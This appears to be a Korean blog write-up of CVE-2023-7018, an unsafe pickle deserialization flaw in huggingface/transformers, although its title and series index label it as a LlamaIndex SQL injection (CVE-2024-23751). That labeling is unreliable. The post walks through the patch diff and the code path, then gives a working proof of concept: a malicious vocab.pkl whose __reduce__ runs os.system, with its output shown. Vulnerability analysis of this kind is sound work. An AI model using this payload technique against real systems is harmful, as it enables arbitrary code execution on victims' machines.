CVE-2024-23751
LlamaIndex/LlamaIndex - SQL Injection
0. 들어가기 전
RAG의 정석 - 개념편
- RAG(Retrieval-Augmented Generation) | RAG 간단하게 알아보기
- LLM을 Chain하고 턴을 종료한다. | LangChain 개념 및 사용법
RAG의 정석 - 취약점편
- CVE-2023-7018 | huggingface/transformers - Deserialization of Untrusted Data
- CVE-2024-23751 | LlamaIndex/LlamaIndex - SQL Injection « NOW!
1. Summary
| Product | huggingface/transformers 🤗 |
|---|---|
| Vendor | huggingface |
| Severity | 9.6 (Critical) |
| Affected Versions | < 4.36.0 |
| CVE Identifier | CVE-2023-7018 |
| CVE Description | Remote code execution via TransfoXLTokenizer - pickle() function |
| CWE Classification(s) | CWE-502: Deserialization of Untrusted Data |
2. Patch diffing
v4.36.0으로 넘어가면서, transfo_xl이 *보안 문제로 deprecated 되었습니다.
이에 따라, v4.36.0에서부터는 transfo_xl이 deprecated/ 폴더에 속하게 되었습니다.
* transformers_official - transfo_xl
2.1. tokenization_transfo_xl
class TransfoXLTokenizer(PreTrainedTokenizer):
def __init__(
# ...
try:
vocab_dict = None
if pretrained_vocab_file is not None:
# Priority on pickle files (support PyTorch and TF)
+ if not strtobool(os.environ.get("TRUST_REMOTE_CODE", "False")):
+ raise ValueError(
+ "This part uses `pickle.load` which is insecure and will execute arbitrary code that is "
+ "potentially malicious. It's recommended to never unpickle data that could have come from an "
+ "untrusted source, or that could have been tampered with. If you already verified the pickle "
+ "data and decided to use it, you can set the environment variable "
+ "`TRUST_REMOTE_CODE` to `True` to allow it."
+ )
with open(pretrained_vocab_file, "rb") as f:
vocab_dict = pickle.load(f)
v4.35.2 - src/transformers/models/transfo_xl/tokenization_transfo_xl.py
v4.36.0 - src/transformers/models/deprecated/transfo_xl/tokenization_transfo_xl.py
TransfoXLTokenizer 클래스의 __init__ 함수입니다.
TRUST_REMOTE_CODE 환경변수가 True로 설정되있지 않으면 pickle.load(fp)를 실행하지 않도록 mitigation을 추가한 것을 확인할 수 있습니다.
class TransfoXLCorpus(object):
# ...
@torch_only_method
def get_lm_corpus(datadir, dataset):
fn = os.path.join(datadir, "cache.pt")
fn_pickle = os.path.join(datadir, "cache.pkl")
if os.path.exists(fn):
logger.info("Loading cached dataset...")
corpus = torch.load(fn_pickle)
+ elif os.path.exists(fn):
+ logger.info("Loading cached dataset from pickle...")
+ if not strtobool(os.environ.get("TRUST_REMOTE_CODE", "False")):
+ raise ValueError(
+ "This part uses `pickle.load` which is insecure and will execute arbitrary code that is potentially "
+ "malicious. It's recommended to never unpickle data that could have come from an untrusted source, or "
+ "that could have been tampered with. If you already verified the pickle data and decided to use it, "
+ "you can set the environment variable `TRUST_REMOTE_CODE` to `True` to allow it."
+ )
with open(fn, "rb") as fp:
corpus = pickle.load(fp)
v4.35.2 - src/transformers/models/transfo_xl/tokenization_transfo_xl.py
v4.36.0 - src/transformers/models/deprecated/transfo_xl/tokenization_transfo_xl.py
TransfoXLCorpus 클래스의 get_lm_corpus 함수입니다.
마찬가지로 TRUST_REMOTE_CODE 환경변수가 True로 설정되있지 않으면 pickle.load(fp)를 실행하지 않습니다.
3. Attack Scenario
복잡한 상속으로 인해 두 부분으로 나누어서 분석을 진행해야 합니다.
첫 번째는 pickle 함수 도달 방법이며, 두 번째는 pickle 함수 인자의 변화입니다.
3.1. Function
class TransfoXLCorpus(object):
@classmethod
@torch_only_method
def from_pretrained(cls, pretrained_model_name_or_path, cache_dir=None, *inputs, **kwargs):
vocab = TransfoXLTokenizer.from_pretrained(pretrained_model_name_or_path, *inputs, **kwargs)
class TransfoXLTokenizer(PreTrainedTokenizer):
def __init__(
# ...
try:
vocab_dict = None
if pretrained_vocab_file is not None:
# Priority on pickle files (support PyTorch and TF)
with open(pretrained_vocab_file, "rb") as f:
vocab_dict = pickle.load(f)
- TransfoXLCorpus의 from_pretrained 함수가 TransfoXLTokenizer의 from_pretrained 함수를 호출
- TransfoXLTokenizer 클래스가 호출되면서 내부의 __init__ 함수를 호출
- pretrained_vocab_file 변수가 설정되어 있다면 pickle 함수를 호출
» 악의적인 .pkl 파일이라면 Deserialization 취약점이 발생
pretrained_vocab_file 변수가 설정되어 있다면 pickle 함수에 도달할 수 있다는 결론이 나왔습니다.
But,,,
pretrained_vocab_file 변수의 선언/할당부는 TransfoXLTokenizer 클래스 어디에도 존재하지 않습니다.
3.2. Args
pretrained_vocab_file 변수는 from_pretrained 함수에서 선언/할당됩니다.
from_pretrained 함수는 TransfoXLTokenizer의 *부모 클래스인 PreTrainedTokenizerBase에 정의되어 있습니다.
TransfoXLTokenizer < PreTrainedTokenizer < PreTrainedTokenizerBase
* TransfoXLTokenizer에서 선언/할당부를 찾을 수 없었던 이유기도 합니다.
class PreTrainedTokenizerBase(SpecialTokensMixin, PushToHubMixin):
@classmethod
def from_pretrained(
cls,
pretrained_model_name_or_path: Union[str, os.PathLike],
# ...
**kwargs,
):
pretrained_model_name_or_path = str(pretrained_model_name_or_path)
if os.path.isfile(pretrained_model_name_or_path) or is_remote_url(pretrained_model_name_or_path):
# ...
else:
vocab_files = {**cls.vocab_files_names, **additional_files_names}
pretrained_model_name_or_path 인자에 값으로 directory(폴더)를 지정한다면
vocab_files 변수에 클래스에서 정의한 vocab_files_names 값을 대입합니다.
VOCAB_FILES_NAMES = {
"pretrained_vocab_file": "vocab.pkl",
"pretrained_vocab_file_torch": "vocab.bin",
"vocab_file": "vocab.txt",
}
class TransfoXLTokenizer(PreTrainedTokenizer):
vocab_files_names = VOCAB_FILES_NAMES
클래스(TransfoXLTokenizer)에서 정의한 vocab_files_names 변수입니다.
vocab_files_names = VOCAB_FILES_NAMES
vocab_files = {
"pretrained_vocab_file": "vocab.pkl",
"pretrained_vocab_file_torch": "vocab.bin",
"vocab_file": "vocab.txt",
# ...
}
이 과정을 통해 vocab_files 변수는 위와 같은 값을 가지게 됩니다.
for file_id, file_path in vocab_files.items():
if file_path is None:
resolved_vocab_files[file_id] = None
elif single_file_id == file_id:
# ...
else:
resolved_vocab_files[file_id] = cached_file(
pretrained_model_name_or_path,
file_path,
# ...
)
이후 로직으로, 위에서 경로를 directory로 지정했기 때문에 else문으로 분기됩니다.
따라서 vocab_files 변수의 값들은 cached_file 함수를 거쳐서 resoved_vocab_files 변수에 들어가게 됩니다.
def cached_file(
path_or_repo_id: Union[str, os.PathLike],
filename: str,
# ...
):
# ...
path_or_repo_id = str(path_or_repo_id)
full_filename = os.path.join(subfolder, filename)
if os.path.isdir(path_or_repo_id):
resolved_file = os.path.join(os.path.join(path_or_repo_id, subfolder), filename)
# ...
return resolved_file
cached_file 함수는 경로가 directory라면 path_or_repo_id와 filename 변수 두 개를 조합한 결과를 리턴합니다.
pretrained_model_name_or_path 값은 처음 지정했던 경로(directory)입니다.
resolved_vocab_files = {
"pretrained_vocab_file": "DIRECTORY/vocab.pkl",
...
}
즉, resolved_vocab_files엔 위와 같이 들어가게 됩니다.
for args_name, file_path in resolved_vocab_files.items():
if args_name not in init_kwargs:
init_kwargs[args_name] = file_path
init_kwargs = {
"pretrained_vocab_file": "DIRECTORY/vocab.pkl",
...
}
그 후 resolved_vocab_files 변수의 값들은 init_kwargs 변수로 들어갑니다.
@add_end_docstrings(INIT_TOKENIZER_DOCSTRING)
class PreTrainedTokenizerBase(SpecialTokensMixin, PushToHubMixin):
def __init__(self, **kwargs):
# ...
self.init_kwargs = copy.deepcopy(kwargs)
init_kwargs 변수는 부모 클래스인 PreTrainedTokenizerBase의 인자로 선언됩니다.
class TransfoXLTokenizer(PreTrainedTokenizer):
# pretrained_vocab_file = "poc/vocab.pkl"
즉, TransfoXLTokenizer 클래스의 pretrained_vocab_file 변수에 위와 같이 값이 들어가게 됩니다.
- poc/
- vocab.pkl # << pretrained_vocab_file
결론적으로,
- 하나의 폴더를 생성하고 해당 폴더에 vocab.pkl 파일을 만든다면
- 그리고 그 폴더를 from_pretrained 함수의 인자로 전달한다면
그 경로가 pretrained_vocab_file에 들어가게 됩니다.
4. Proof of Concept
| Product | huggingface/transformers |
|---|---|
| Version | 4.35.2 |
4.1. Installation
RECOMMENDED! Install with venv or conda!
# transformers - v4.35.2
$ git clone https://github.com/huggingface/transformers.git --branch v4.35.2 --single-branch transformers-4.35.2
$ cd transformers-4.35.2
$ pip install -e .
# requirements: pytorch, tensorflow
$ pip install torch, tensorflow, sacremoses
4.2. Exploitation
import os
import pickle
from transformers.models.transfo_xl import tokenization_transfo_xl
class RCE:
def __reduce__(self):
cmd = "dir"
return os.system, (cmd,)
def generate_malicious_pkl():
payload = pickle.dumps(RCE())
os.makedirs("poc", exist_ok=True)
with open("poc/vocab.pkl", "wb") as f:
f.write(payload)
def exploit():
corpus = tokenization_transfo_xl.TransfoXLCorpus.from_pretrained("poc", local_files_only=True)
if __name__ == "__main__":
generate_malicious_pkl()
exploit()
C 드라이브의 볼륨에는 이름이 없습니다.
C:\Users\User\github\transformers-4.35.2 디렉터리
2024-09-04 오전 01:34 <DIR> .
2024-09-04 오전 01:05 <DIR> ..
2024-09-04 오전 01:05 <DIR> .circleci